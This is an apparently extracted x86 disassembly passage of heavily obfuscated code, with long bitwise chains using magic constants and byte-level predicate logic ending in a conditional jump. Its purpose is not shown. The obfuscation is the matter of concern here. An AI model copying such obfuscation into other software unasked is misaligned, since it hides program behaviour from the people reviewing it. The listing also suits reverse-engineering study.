xor esi, ebx
not ecx
or ecx, esi
mov eax, ecx
not eax
mov edx, eax
and edx, 0xa6e64ef
mov edi, ecx
and edi, 0xf5919b10
or edi, edx
mov esi, edi
xor esi, 0x100010
xor edi, 0x8280000
or eax, 0x28288100
or edi, 0x55474864
and edi, 0x7d6fc964
and esi, 0x102099
or esi, edi
and eax, 0x7d6fc964
and ecx, 0x82801602
or ecx, eax
xor ecx, esi
mov edx, dword [ebp - 0x18]
mov ebx, edx
not ebx
mov eax, edx
xor eax, 0x2aa8a9bd
and eax, edx
mov edx, ebx
or edx, eax
not eax
and eax, 0xd5575642
and edx, 0x2aa8a9bd
or edx, eax
mov dword [ebp - 0x14], edx
mov esi, ecx
xor esi, 0x6c9bb0c6
mov eax, ecx
xor eax, 0x93644f39
xor ecx, 0x1bc2f7c5
and ecx, esi
mov edx, eax
and edx, 0xd7292657
mov edi, esi
and esi, 0x28d6d9a8
or esi, edx
or edi, 0x88a6b8fc
mov edx, edi
and edx, 0x24ecc3d7
xor esi, 0xbad44137
or esi, eax
mov dword [ebp - 0x1c], esi
and eax, 0x53110400
or eax, edx
mov edx, ecx
not edx
or edi, edx
and edx, 0x24ecc3d7
and ecx, 0xdb133c28
or ecx, edx
xor ecx, eax
not edi
or edi, ecx
mov ecx, dword [ebp - 0x14]
mov eax, ecx
not eax
mov dword [ebp - 0x24], eax
and eax, 0x78fd9c85
and ecx, 0x8702637a
or ecx, eax
mov eax, ecx
xor eax, 0x8702637a
xor ecx, 0x28f80c01
and ecx, 0x29fa0d0b
mov edx, eax
and edx, 0xd605f2f4
or edx, ecx
xor edx, 0x44076a6b
and eax, 0x6dfd6760
or eax, edx
mov ecx, ebx
and ecx, 0x9202989f
mov edx, dword [ebp - 0x18]
and edx, 0x6dfd6760
or edx, ecx
xor ebx, edx
and ebx, edx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x2c], edi
mov edx, edi
xor edx, 0x88a6b8fc
mov dword [ebp - 0x30], edx
xor edi, 0x77594703
mov dword [ebp - 0x28], edi
and edi, 0xd0f66f3
and edx, 0xf2f0990c
or edx, edi
mov esi, edx
xor esi, 0xf2f0990c
xor edx, 0xd0006e3
and edx, 0x8d0007e7
mov ecx, esi
and ecx, 0x72fff818
or ecx, edx
xor ecx, 0xe0fd6087
and esi, 0x6dfd6760
or esi, ecx
mov dword [ebp - 0x20], esi
mov esi, eax
not esi
and eax, 0x45da6c36
mov ecx, esi
and ecx, 0xba2593c9
or ecx, eax
mov eax, ecx
xor eax, 0xba2593c9
mov edx, eax
and edx, 0xf3603c42
and esi, 0xc9fc3bd
or esi, edx
mov edi, ebx
not edi
mov ebx, edi
and ebx, 0xf3603c42
mov edx, dword [ebp - 0x18]
xor edx, 0xf3603c42
and edx, dword [ebp - 0x18]
or edx, ebx
xor edx, esi
xor ecx, 0x45da6c36
mov esi, ecx
and esi, 0x2e846941
and eax, 0xd17b96be
or eax, esi
mov esi, dword [ebp - 0x18]
or ecx, esi
and esi, 0x2e846941
and edi, 0xd17b96be
or edi, esi
xor edi, eax
not ecx
or ecx, edi
not ecx
or ecx, edx
mov dword [ebp - 0x18], ecx
mov eax, dword [ebp - 0x1c]
mov edx, eax
not edx
mov dword [ebp - 0x34], edx
and eax, 0xa370214c
mov ecx, edx
and ecx, 0x5c8fdeb3
or ecx, eax
mov edi, ecx
mov ebx, dword [ebp - 0x20]
mov edx, ebx
xor edx, 0xb976c94c
mov eax, edx
and eax, ebx
mov ecx, eax
not ecx
mov esi, ecx
and esi, 0x4ba64fe9
and eax, 0xb459b016
or eax, esi
not ebx
and edx, ebx
mov esi, edx
not esi
or ecx, esi
and esi, 0x4ba64fe9
and edx, 0xb459b016
or edx, esi
xor edx, eax
not ecx
or ecx, edx
mov eax, edi
mov dword [ebp - 0x5c], edi
mov edx, edi
xor edx, 0x5c8fdeb3
mov dword [ebp - 0x38], edx
xor eax, 0xe5f917ff
and eax, edx
mov edi, eax
not edi
mov esi, edi
and esi, 0x930bb1ea
and eax, 0x6cf44e15
or eax, esi
mov esi, dword [ebp - 0x1c]
or esi, 0x468936b3
or edi, esi
and esi, 0x930bb1ea
mov edx, dword [ebp - 0x34]
and edx, 0x28744804
or edx, esi
xor edx, eax
not edi
or edi, edx
mov eax, edi
xor eax, edi
not eax
and eax, ecx
xor eax, edi
mov ecx, ebx
and ecx, 0xbeb6aeca
mov esi, dword [ebp - 0x20]
and esi, 0x41495135
or esi, ecx
mov ecx, dword [ebp - 0x5c]
xor ecx, 0xa370214c
or ebx, ecx
and ecx, 0xbeb6aeca
mov edx, dword [ebp - 0x38]
and edx, 0x41495135
or edx, ecx
xor edx, esi
not ebx
or ebx, edx
not ebx
or ebx, eax
mov ecx, dword [ebp - 0x18]
mov edx, ecx
not edx
mov eax, edx
and eax, 0x30c8e5d1
xor edx, ebx
not edx
and edx, ecx
and ecx, 0xcf371a2e
or ecx, eax
xor ecx, ebx
xor ecx, 0x30c8e5d1
and ecx, ebx
or edx, ecx
mov dword [ebp - 0x18], edx
mov edi, dword [ebp - 0x2c]
xor edi, 0x8081b386
mov ecx, dword [ebp - 0x30]
and edi, ecx
mov eax, dword [ebp - 0x28]
and eax, 0xc873534e
and ecx, 0x378cacb1
or ecx, eax
mov eax, ecx
xor eax, 0x378cacb1
mov edx, ecx
xor edx, 0xc0545834
and edx, eax
mov esi, edx
not esi
mov ebx, esi
and ebx, 0x3af9a8be
and edx, 0xc5065741
or edx, ebx
mov ebx, edi
not ebx
or esi, ebx
and ebx, 0x3af9a8be
and edi, 0xc5065741
or edi, ebx
xor edi, edx
not esi
or esi, edi
mov edi, dword [ebp - 0x14]
mov edx, edi
xor edx, 0x8000172
mov ebx, edi
xor ebx, 0x30803080
and ebx, 0x30a73a88
and edx, 0xcf58c577
or edx, ebx
xor edx, esi
mov esi, edi
and esi, 0x69d6d202
mov ebx, dword [ebp - 0x24]
and ebx, 0x96292dfd
or ebx, esi
xor ecx, 0xc873534e
mov esi, edi
or esi, ecx
and ecx, 0x69d6d202
and eax, 0x96292dfd
or eax, ecx
xor edx, 0x30a73a88
xor eax, ebx
not esi
or esi, eax
not esi
or esi, edx
mov ecx, esi
not ecx
mov eax, ecx
and eax, esi
mov edx, esi
mov edi, esi
and edx, 0x76253876
and ecx, 0x89dac789
or ecx, edx
mov edx, eax
not edx
or edi, edx
and edx, 0x76253876
and eax, 0x89dac789
or eax, edx
xor eax, ecx
not edi
or edi, eax
mov eax, dword [ebp - 0x18]
mov ecx, eax
not ecx
mov dword [ebp - 0x1c], ecx
mov edx, eax
mov ebx, eax
xor edx, 0x57f6baa2
mov esi, edx
and esi, ecx
mov ecx, esi
not ecx
mov eax, ecx
and eax, 0x7014ff62
and esi, 0x8feb009d
or esi, eax
and edx, ebx
mov eax, edx
not eax
or ecx, eax
and eax, 0x7014ff62
and edx, 0x8feb009d
or edx, eax
xor edx, esi
not ecx
or ecx, edx
mov ebx, edi
mov dword [ebp - 0x14], edi
mov esi, edi
not esi
xor ebx, 0x57f6baa2
mov edx, ebx
and edx, esi
mov eax, edx
not eax
mov edi, eax
and edi, 0xa384b153
and edx, 0x5c7b4eac
or edx, edi
and ebx, dword [ebp - 0x14]
mov edi, ebx
not edi
or eax, edi
and edi, 0xa384b153
and ebx, 0x5c7b4eac
or ebx, edi
xor ebx, edx
not eax
or eax, ebx
xor eax, ecx
mov edi, dword [ebp - 0x18]
mov ecx, edi
and ecx, 0xcc24c88
mov edx, dword [ebp - 0x1c]
and edx, 0xf33db377
or edx, ecx
mov ecx, edi
mov edi, dword [ebp - 0x14]
or ecx, edi
and edi, 0xcc24c88
and esi, 0xf33db377
or esi, edi
xor esi, edx
not ecx
or ecx, esi
not ecx
or ecx, eax
mov edx, ecx
mov eax, ecx
not edx
and ecx, 0x318208d4
mov esi, edx
and esi, 0xce7df72b
or esi, ecx
mov dword [ebp - 0x14], esi
mov esi, edx
and esi, 0x86a01850
mov ecx, eax
and ecx, 0x28088704
or ecx, esi
mov ebx, ecx
xor ebx, 0x8008200
xor ecx, 0x44f76031
and ecx, 0x64ff6535
and ebx, 0x8a009a40
or ebx, ecx
mov ecx, edx
and ecx, eax
mov edi, edx
or edi, 0x24a80514
and edi, 0x64ff6535
mov esi, eax
and eax, 0x1100008a
or eax, edi
xor eax, ebx
mov edi, eax
xor edi, 0x14140
xor eax, 0x39042235
and eax, 0xfde4bebf
and edi, 0x21b4140
or edi, eax
mov ebx, dword [ebp - 0x14]
xor ebx, 0xce7df72b
or ebx, edx
xor edi, 0x21b4140
or edi, edx
mov dword [ebp - 0x18], edi
and edx, 0x5bc3342d
and esi, 0xa43ccbd2
or esi, edx
xor esi, 0xa43ccbd2
or ecx, esi
mov edx, ecx
not edx
and ecx, 0x906ca50f
and edx, 0x6f935af0
or edx, ecx
mov ecx, edx
xor ecx, 0x906ca50f
xor edx, 0x6f935af0
mov esi, ebx
not esi
and esi, ecx
mov ecx, edx
xor ecx, ebx
and ecx, edx
and ebx, edx
or ebx, esi
or ebx, ecx
mov ecx, ebx
not ecx
mov edx, ecx
and edx, ebx
mov esi, ebx
and esi, 0x407e1e9f
and ecx, 0xbf81e160
or ecx, esi
mov esi, edx
not esi
or ebx, esi
and esi, 0x407e1e9f
and edx, 0xbf81e160
or edx, esi
xor edx, ecx
not ebx
or ebx, edx
mov ecx, ebx
not ecx
mov edi, ebx
or edi, 0xe74d7cb4
mov edx, edi
and edx, 0x218d7ca
mov esi, ecx
and esi, 0x18a20001
or esi, edx
mov edx, ebx
xor edx, 0x18b2834b
and edx, ebx
mov eax, edx
not eax
or edi, eax
and eax, 0x218d7ca
and edx, 0xfde72835
or edx, eax
xor edx, esi
not edi
or edi, edx
and ebx, 0x380fa87c
mov eax, ecx
and eax, 0xc7f05783
or eax, ebx
mov edx, edi
xor edx, 0x8d043e2a
xor eax, 0x5246eae2
and ecx, 0x6a49429e
or ecx, eax
xor edi, 0x72fbc1d5
mov eax, edi
and eax, 0x4ea4e28
and edx, 0xfb15b1d7
or edx, eax
mov eax, ecx
not eax
or edi, ecx
and ecx, 0x4ea4e28
and eax, 0xfb15b1d7
or eax, ecx
xor eax, edx
not edi
or edi, eax
mov eax, edi
not eax
mov ecx, eax
and ecx, 0x3cbc43f6
and eax, edi
and edi, 0xc343bc09
or edi, ecx
mov ecx, edi
xor ecx, 0x40ac09
xor edi, 0x3cbc43f6
mov edx, edi
and edx, 0xeb335394
and ecx, 0x14ccac6b
or ecx, edx
mov edx, eax
not edx
or edi, edx
and edx, 0xeb335394
and eax, 0x14ccac6b
or eax, edx
xor eax, ecx
not edi
or edi, eax
mov ecx, edi
not ecx
mov eax, ecx
mov edx, ecx
mov dword [ebp - 0x14], ecx
and eax, 0xf71d85b8
mov esi, edi
and esi, 0x8e27a47
or esi, eax
mov eax, esi
xor eax, 0x8225006
xor esi, 0xf71d85b8
mov ecx, esi
and ecx, 0x76cd2b41
and eax, 0x8932d4be
or eax, ecx
mov ecx, edx
and ecx, edi
mov edx, ecx
not edx
or esi, edx
and edx, 0x76cd2b41
and ecx, 0x8932d4be
or ecx, edx
xor ecx, eax
not esi
or esi, ecx
mov dword [ebp - 0x1c], esi
mov ebx, dword [ebp - 0x18]
mov edx, ebx
not edx
mov eax, ebx
and eax, 0x20004225
mov ecx, edx
and ecx, 0x31081c2
or ecx, eax
xor ecx, 0x31081c2
and ebx, 0xdcef3c18
or ebx, ecx
mov eax, esi
not eax
mov dword [ebp - 0x20], eax
and eax, 0xcd20c59
mov ecx, esi
and ecx, 0xf32df3a6
or ecx, eax
mov eax, ecx
xor eax, 0xf32df3a6
xor ecx, 0x8400858
and ecx, 0xa844ead8
mov esi, eax
and esi, 0x57bb1527
or esi, ecx
xor esi, 0x3554f3c
and eax, 0xab11a5e4
or eax, esi
and edi, 0xe000b55d
mov esi, dword [ebp - 0x14]
mov ecx, esi
and ecx, 0x1fff4aa2
or ecx, edi
xor ecx, 0xb4eeef46
and esi, 0x54ee5a1b
or esi, ecx
mov dword [ebp - 0x14], esi
mov esi, ebx
mov dword [ebp - 0x24], ebx
not ebx
mov dword [ebp - 0x28], ebx
mov ecx, ebx
and ecx, 0x7c3001fb
and esi, 0x83cffe04
or esi, ecx
xor esi, 0xd721a41f
mov edi, esi
xor edi, ebx
and edi, esi
mov ecx, dword [ebp - 0x18]
and ecx, 0x6a026597
and edx, 0x95fd9a68
or edx, ecx
mov ebx, edx
xor ebx, 0x95fd9a68
xor edx, 0x20020597
and edx, 0xa01e8dbf
mov esi, ebx
and esi, 0x5fe17240
or esi, edx
xor esi, 0xf4f0d7a4
and ebx, 0x54ee5a1b
or ebx, esi
mov edx, eax
mov ecx, dword [ebp - 0x14]
or edx, ecx
xor ecx, eax
not edx
or ecx, edx
mov dword [ebp - 0x14], ecx
mov edx, edi
not edx
mov dword [ebp - 0x18], edx
and edx, 0xa4f87ef5
mov ecx, edi
and ecx, 0x5b07810a
or ecx, edx
mov esi, ebx
not esi
and ebx, 0xbd44714d
mov edx, esi
and edx, 0x42bb8eb2
or edx, ebx
mov ebx, edx
xor ebx, 0x42bb8eb2
xor edx, 0x9c1ad22a
and edx, ebx
and esi, 0xdea15c98
or esi, edx
mov eax, ecx
xor eax, 0x20502044
or eax, 0xcca04080
mov edx, ecx
xor ecx, 0x1040100
and eax, 0xecf2e0c6
and ecx, 0x10c0321
or ecx, eax
mov eax, dword [ebp - 0x18]
or eax, 0x2052a046
and eax, 0xecf2e0c6
and edi, 0x12011c18
or edi, eax
xor edi, esi
xor edi, ecx
xor edx, 0x5b07810a
or ebx, edx
mov edx, edi
not edx
mov eax, edx
and eax, 0x9d34cf33
and edi, 0x62cb30cc
or edi, eax
mov eax, ebx
not eax
or edx, ebx
and ebx, 0x9d34cf33
and eax, 0x62cb30cc
or eax, ebx
xor eax, edi
not edx
or edx, eax
mov ecx, edx
xor ecx, 0xd19a53c8
and ecx, edx
mov eax, edx
not edx
or eax, 0x2e65ac37
mov esi, eax
and esi, 0x4bf23cac
and edx, 0x90084340
or edx, esi
mov esi, ecx
not esi
or eax, esi
and esi, 0x4bf23cac
and ecx, 0xb40dc353
or ecx, esi
xor ecx, edx
not eax
or eax, ecx
mov ecx, dword [ebp - 0x14]
xor ecx, 0xd19a53c8
mov ebx, eax
xor ebx, eax
not ebx
and ebx, ecx
xor ebx, eax
mov ecx, dword [ebp - 0x20]
mov eax, ecx
and ecx, 0xe7d20b55
mov edx, ecx
mov ecx, dword [ebp - 0x1c]
and ecx, 0x182df4aa
or ecx, edx
mov edx, dword [ebp - 0x28]
or eax, edx
not eax
and edx, 0xe7d20b55
mov esi, edx
mov edx, dword [ebp - 0x24]
and edx, 0x182df4aa
or edx, esi
xor edx, ecx
or edx, eax
mov ecx, edx
xor ecx, 0x6976765
and ecx, edx
mov eax, edx
not eax
or eax, ecx
not ecx
and ecx, 0xf968989a
and eax, 0x6976765
or eax, ecx
mov edx, eax
not edx
mov ecx, edx
and ecx, 0xcadf3f1d
and eax, 0x3520c0e2
or eax, ecx
xor eax, 0xcadf3f1d
xor edx, eax
and edx, eax
mov ecx, ebx
not ecx
mov dword [ebp - 0x14], ecx
mov esi, ebx
xor esi, 0x8403855
mov eax, esi
and eax, ecx
and esi, ebx
or esi, eax
mov dword [ebp - 0x1c], esi
mov esi, edx
not esi
mov dword [ebp - 0x18], esi
mov eax, edx
xor eax, 0x8403855
mov ecx, eax
and ecx, esi
mov edi, ecx
not edi
mov esi, edi
and esi, 0xa730a6cf
and ecx, 0x58cf5930
or ecx, esi
and eax, edx
mov esi, eax
not esi
or edi, esi
and esi, 0xa730a6cf
and eax, 0x58cf5930
or eax, esi
xor eax, ecx
not edi
or edi, eax
mov eax, edi
xor eax, edi
not eax
and eax, dword [ebp - 0x1c]
xor eax, edi
mov ecx, ebx
and ecx, 0x51587b17
mov esi, dword [ebp - 0x14]
and esi, 0xaea784e8
or esi, ecx
or ebx, edx
and edx, 0x51587b17
mov ecx, dword [ebp - 0x18]
and ecx, 0xaea784e8
or ecx, edx
xor ecx, esi
not ebx
or ebx, ecx
not ebx
or ebx, eax
mov esi, ebx
not esi
mov eax, esi
and eax, 0x1ceac562
mov ecx, ebx
and ecx, 0xe3153a9d
or ecx, eax
xor ecx, 0xe3153a9d
mov eax, esi
and eax, ebx
or eax, ecx
mov ecx, eax
xor ecx, 0x6a49429e
and ecx, eax
or esi, 0x11809d21
and ebx, 0x4a08029c
and esi, 0x31c1dd23
or esi, ebx
mov eax, esi
xor eax, 0x31c1dd23
mov edx, eax
mov dword [ebp - 0x18], eax
mov eax, esi
xor eax, 0xce3e22dc
mov dword [ebp - 0x14], eax
xor esi, 0xaf78ab29
and esi, eax
and edx, 0x60400094
or edx, esi
mov dword [ebp - 0x1c], edx
mov edi, ecx
or edi, 0x614689f5
mov edx, ecx
not edx
mov ebx, edi
and ebx, 0xe54cf378
mov esi, edx
and esi, 0x1ab10402
or esi, ebx
mov ebx, ecx
xor ebx, 0x9eb9760a
and ebx, ecx
mov eax, ebx
not eax
or edi, eax
and eax, 0xe54cf378
and ebx, 0x1ab30c87
or ebx, eax
xor ebx, esi
not edi
or edi, ebx
mov eax, dword [ebp - 0x1c]
mov ebx, eax
xor ebx, eax
not ebx
and ebx, edi
xor ebx, eax
mov eax, ecx
and eax, 0x46fd7342
and edx, 0xb9028cbd
or edx, eax
mov eax, dword [ebp - 0x18]
or ecx, eax
and eax, 0x42494202
mov esi, eax
mov eax, dword [ebp - 0x14]
and eax, 0xb9028cbd
or eax, esi
xor eax, edx
not ecx
or ecx, eax
not ecx
or ecx, ebx
mov edi, ecx
not edi
mov eax, edi
and eax, 0x23219129
mov esi, ecx
and esi, 0x98006e54
or esi, eax
xor esi, 0x98006e54
mov edx, ecx
and edx, 0x44de0082
or edx, esi
mov eax, edx
xor eax, 0x4800082
xor edx, 0x1a00ca39
and edx, 0x5a5eca39
and eax, 0xa5a135c6
or eax, edx
mov esi, eax
xor esi, 0xa50101c0
xor eax, 0x4216ca38
and eax, 0x42b6fe3e
and esi, 0xbd4901c1
or esi, eax
mov eax, esi
xor eax, 0x42b6fe3e
xor esi, 0xbd4901c1
and esi, eax
mov eax, edi
and eax, 0xcfc70eed
mov edx, ecx
and edx, 0x3038f112
or edx, eax
xor edx, 0x3038f112
or edx, edi
xor edx, esi
and esi, edx
not edx
or edx, esi
mov eax, edx
not eax
mov esi, eax
and esi, 0x418ef1dc
and eax, edx
and edx, 0xbe710e23
or edx, esi
xor edx, 0xbe710e23
or edx, eax
and edi, 0x176f6e3e
mov eax, ecx
and eax, 0xe89091c1
or eax, edi
mov ecx, eax
xor ecx, 0xe8909141
xor eax, 0x120a2a3c
and eax, 0x120a2abc
and ecx, 0xedf5d543
or ecx, eax
mov eax, ecx
xor eax, 0x824
mov edi, edx
not edi
xor ecx, 0xedf5d543
mov esi, edi
or esi, ecx
not esi
and edi, 0x9ecee3d8
and edx, 0x61311c27
or edx, edi
and ecx, 0x9ecee3d8
and eax, 0x61311c27
or eax, ecx
xor eax, edx
or eax, esi
xor eax, 0xffffffff
setne al
mov byte [ebp - 0x14], al
sete cl
cmp dword [0x10045904], 0xa
setl byte [ebp - 0x18]
setge dl
mov ebx, ecx
inc bl
and bl, al
or bl, cl
mov ah, cl
mov al, bl
xor al, 1
and bl, al
xor bl, 1
mov ecx, eax
xor cl, bl
or bl, al
xor bl, 1
or bl, cl
mov al, bl
xor al, 1
mov ch, bl
and ch, al
xor ch, 1
mov cl, al
or cl, ch
xor cl, 1
xor ch, al
or ch, cl
xor ch, 1
or ch, bl
or bl, cl
mov dh, bl
xor dh, 1
mov bh, ch
xor bh, 1
mov al, dh
or al, ch
mov cl, al
xor cl, 1
or ch, bl
xor ch, 1
or bh, dh
xor bh, 1
or bh, ch
mov ch, cl
and ch, al
xor ch, 1
or ch, al
xor ch, 1
or ch, cl
xor ch, bh
mov al, cl
xor al, bh
or bh, cl
xor bh, 1
or bh, al
xor bh, 1
or bh, ch
mov ch, bh
xor ch, 1
mov cl, ah
and bh, ah
mov ah, byte [ebp - 0x14]
mov al, ah
and al, ch
or al, bh
xor al, 1
mov byte [ebp - 0x1c], cl
or al, cl
xor ch, cl
and ch, cl
mov cl, al
xor cl, ch
xor ch, 1
or ch, al
mov al, cl
xor al, ch
or ch, cl
xor ch, 1
or ch, al
mov bh, bl
and bh, dh
xor bh, 1
mov al, dh
xor al, bh
or bh, dh
xor bh, 1
or bh, al
xor bh, ah
mov al, ah
and al, dh
mov ah, byte [ebp - 0x1c]
and bl, ah
or bl, al
mov al, dh
xor al, ah
or dh, ah
xor dh, 1
or dh, al
xor dh, 1
or dh, bl
xor dh, 1
or dh, bh
mov bh, dh
xor bh, 1
and bh, dh
xor bh, 1
mov al, bh
xor al, dh
or bh, dh
xor bh, 1
or bh, al
mov bl, bh
xor bl, 1
mov al, ch
xor al, 1
mov cl, bl
and cl, al
and ch, bh
or ch, cl
xor ch, 1
or ch, al
xor bl, al
and bl, bh
or al, bh
xor bl, 1
mov cl, bl
xor cl, al
or bl, al
mov dh, ch
xor dh, 1
xor bl, 1
or bl, cl
mov al, bl
xor al, 1
and bl, ch
and dh, al
or dh, bl
or al, ch
xor dh, 1
mov cl, dh
xor cl, al
or dh, al
xor dh, 1
or dh, cl
mov al, dh
xor al, 1
and dh, al
xor dh, 1
or dh, al
xor al, dh
xor dh, 1
or dh, al
mov ch, dl
xor ch, dh
or dh, dl
not ch
and ch, dl
xor ch, 1
mov al, ch
xor al, dh
or ch, dh
xor ch, 1
or ch, al
mov bh, byte [ebp - 0x14]
mov dh, bh
mov cl, byte [ebp - 0x18]
or bh, cl
mov bl, dl
or bl, ah
mov al, bh
xor al, bl
or bl, bh
xor bl, 1
or bl, al
xor dh, dl
or cl, ah
xor dl, ah
mov eax, edx
xor al, cl
or dl, cl
xor dl, 1
or dl, al
mov cl, bl
xor cl, 1
and bl, cl
xor bl, 1
mov eax, ebx
xor al, cl
or bl, cl
xor bl, 1
or bl, al
mov eax, ebx
and bl, dl
or cl, dl
xor dl, 1
xor al, 1
and al, dl
mov dl, dh
xor dl, 1
xor cl, 1
or cl, bl
or cl, al
mov eax, ecx
xor al, 1
and cl, al
xor cl, 1
mov ah, al
xor ah, cl
or cl, al
xor cl, 1
or cl, ah
mov eax, ecx
xor al, 1
and dh, cl
and al, dl
or al, dh
mov ah, dl
xor ah, cl
or cl, dl
xor cl, 1
or cl, ah
xor cl, 1
or cl, ah
mov edx, eax
xor dl, 1
and al, dl
xor al, 1
mov ah, al
xor ah, dl
or al, dl
xor al, 1
or al, ah
xor al, cl
xor al, 1
or dl, cl
xor dl, 1
or dl, al
mov eax, edx
xor al, 1
and al, dl
xor al, 1
mov cl, al
xor cl, dl
or al, dl
xor al, 1
or al, cl
mov cl, al
xor cl, 1
mov ah, cl
and ah, al
xor ah, 1
or ah, cl
xor ah, 1
or ah, al
mov cl, ah
xor cl, 1
mov dl, ch
xor dl, 1
mov al, dl
or al, cl
and cl, ah
xor cl, 1
mov dh, cl
xor dh, ah
or cl, ah
xor cl, 1
or cl, dh
mov dh, cl
and dh, ch
xor cl, 1
and cl, dl
or cl, dh
xor ch, ah
xor al, 1
or al, ch
xor al, 1
or al, cl
mov cl, ah
xor cl, dl
or dl, ah
mov ah, dl
xor ah, 1
or cl, ah
and ah, cl
xor cl, 1
mov ch, cl
xor ch, dl
and ch, cl
and cl, dl
or cl, ah
or cl, ch
mov ah, cl
xor ah, 1
mov dl, ah
and dl, cl
xor dl, 1
mov ch, cl
xor ch, dl
or dl, cl
xor dl, 1
or dl, ch
mov ch, al
xor ch, 1
and ah, ch
and cl, al
or cl, ah
mov ah, dl
xor ah, 1
and ch, dl
and ah, al
or ah, ch
mov ch, al
xor ch, dl
or dl, al
xor dl, 1
or dl, ch
xor dl, 1
or dl, ah
mov eax, edx
xor al, 1
mov ch, cl
xor ch, dl
and ch, cl
and dl, cl
xor cl, 1
and cl, al
or dl, cl
mov al, ch
xor al, dl
test al, 1
mov esi, 0x8195dcf5
mov edi, 0xe9b0f67d
jmp 0x1000f995
mov eax, dword [0x10045900]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
not ecx
mov eax, ecx
mov ebx, ecx
and eax, 0xf23f14db
mov ecx, edx
mov edi, edx
and ecx, 0xdc0eb24
or ecx, eax
mov eax, ecx
xor eax, 0x800804
xor ecx, 0xc0200480
mov esi, ebx
mov dword [ebp - 0x24], ebx
or esi, 0xc9200780
or ecx, 0x4064053
and ecx, 0xcd2647d3
and eax, 0x288180c
or eax, ecx
and esi, 0xcd2647d3
and edx, 0x3051a020
or edx, esi
xor edx, eax
mov eax, edx
xor eax, 0x3457e073
xor edx, 0x82280388
and eax, 0x49d6fc46
and edx, 0xb62903b9
or edx, eax
mov eax, edx
xor eax, 0xb62903b9
xor edx, 0x49d6fc46
mov ecx, edx
and ecx, eax
and edx, 0x584143b6
and eax, 0xa7bebc49
or eax, edx
mov edx, ecx
not edx
mov esi, edx
and esi, 0x4055c082
and ecx, 0xbfaa3f7d
or ecx, esi
mov esi, eax
xor esi, 0x18000334
xor eax, 0xa7bebc49
or edx, eax
and eax, 0x4055c082
and esi, 0xbfaa3f7d
or esi, eax
xor esi, ecx
not edx
or edx, esi
mov eax, edx
not eax
mov ecx, eax
and ecx, 0x68e737ab
and eax, 0x9718c854
and edx, 0x68e737ab
or edx, eax
or edx, ecx
mov eax, ebx
and eax, 0x410c814
mov ecx, edi
and ecx, 0x93080040
or ecx, eax
xor ecx, 0x93080040
mov eax, edi
mov dword [ebp - 0x14], edi
and eax, 0x68e737ab
or eax, ecx
mov ecx, eax
not ecx
mov esi, ecx
and esi, 0x8f0cf95c
and eax, 0x70f306a3
or eax, esi
mov esi, edi
and esi, 0x8f0cf95c
mov edi, ebx
and edi, 0x70f306a3
or edi, esi
xor edi, eax
xor ecx, edi
and ecx, edi
mov eax, edx
not eax
mov edi, edx
and edi, 0xbef5d1ed
mov esi, eax
and esi, 0x410a2e12
or esi, edi
and edx, 0x9725976e
and eax, 0x68da6891
or eax, edx
xor esi, 0x410a2e12
mov edx, ecx
xor edx, 0x9725976e
and edx, ecx
mov edi, ecx
not ecx
or esi, ecx
or edi, 0x68da6891
mov ebx, edi
and ebx, 0xd99d48c0
and ecx, 0x620972e
or ecx, ebx
mov ebx, edx
not ebx
or edi, ebx
and ebx, 0xd99d48c0
and edx, 0x2662b73f
or edx, ebx
xor edx, ecx
not edi
or edi, edx
xor edi, eax
mov eax, esi
not eax
mov edx, edi
not edx
and edi, esi
or esi, edx
and edx, eax
not esi
or edx, edi
or edx, esi
mov ecx, edx
not ecx
mov eax, edx
xor eax, 0x7ffdf174
and eax, edx
mov esi, ecx
and esi, 0xa11c42f5
and edx, 0x5ee3bd0a
or edx, esi
xor edx, 0xd11036a0
or edx, ecx
mov esi, ecx
or esi, eax
not eax
and eax, 0x80020e8b
and esi, 0x7ffdf174
or esi, eax
mov eax, esi
not eax
and eax, 0x700c7455
and esi, 0x8ff38baa
or esi, eax
mov ecx, esi
xor ecx, 0x700c7455
and ecx, esi
xor edx, ecx
and ecx, edx
mov eax, ecx
not eax
mov esi, eax
and esi, 0xcee8ef76
and ecx, 0x31171089
or ecx, esi
mov esi, edx
not esi
or eax, edx
and edx, 0xcee8ef76
and esi, 0x31171089
or esi, edx
xor esi, ecx
not eax
or eax, esi
mov ecx, eax
xor ecx, 0xe714bc00
xor eax, 0x18eb43ff
mov esi, eax
and esi, 0x89c5c0b4
mov edx, ecx
and edx, 0x763a3f4b
or edx, esi
mov esi, edx
xor esi, 0x430190a
xor edx, 0x1014000
and edx, 0x730b6641
and esi, 0x8cf499be
or esi, edx
mov edx, esi
xor edx, 0x730b6641
and edx, esi
and eax, 0x72030000
and ecx, 0x1086641
or ecx, eax
mov edi, ecx
xor edi, 0x86440
or edi, 0xcf091b8
xor ecx, 0x50000000
and ecx, 0x51000201
and edi, 0x2efbf5f8
or edi, ecx
mov ecx, edi
xor ecx, 0x22034400
mov eax, edi
xor eax, 0xd1040a07
mov dword [ebp - 0x18], eax
and eax, 0x4ddc2379
and ecx, 0x32034400
or ecx, eax
mov dword [ebp - 0x1c], ecx
mov ecx, edx
not ecx
mov eax, edx
xor eax, 0x82a9ecd4
and eax, ecx
mov ebx, ecx
mov dword [ebp - 0x28], ecx
mov ecx, eax
not ecx
mov esi, ecx
and esi, 0xe1ea5631
and eax, 0x1e15a9ce
or eax, esi
mov esi, ebx
or esi, 0x82a9ecd4
or ecx, esi
and esi, 0xe1ea5631
mov ebx, edx
and ebx, 0x1c14010a
or ebx, esi
xor ebx, eax
not ecx
or ecx, ebx
mov ebx, dword [ebp - 0x1c]
mov esi, ebx
xor esi, 0xb223dc86
xor ebx, 0xcf75cfad
and ebx, esi
mov eax, ebx
not eax
mov dword [ebp - 0x20], eax
and dword [ebp - 0x20], 0x6cc7505b
and ebx, 0x9318a7a0
add ebx, dword [ebp - 0x20]
or dword [ebp - 0x18], 0x82a9ecd4
or eax, dword [ebp - 0x18]
and dword [ebp - 0x18], 0x6ce7585f
and edi, 0x11000200
add edi, dword [ebp - 0x18]
xor edi, ebx
not eax
or eax, edi
xor eax, ecx
mov ecx, edx
and ecx, 0xfcf9128
mov edi, dword [ebp - 0x28]
and edi, 0xf0306ed7
or edi, ecx
mov ecx, dword [ebp - 0x1c]
xor ecx, 0x4ddc2379
or edx, ecx
and ecx, 0xfcb0128
and esi, 0xf0306ed7
or esi, ecx
xor esi, edi
not edx
or edx, esi
not edx
or edx, eax
mov eax, edx
not eax
mov ecx, edx
or ecx, 0x8d01124
and ecx, 0x8d11724
mov esi, eax
and eax, 0x730a6041
or eax, ecx
or esi, 0x10600
and esi, 0x8d11724
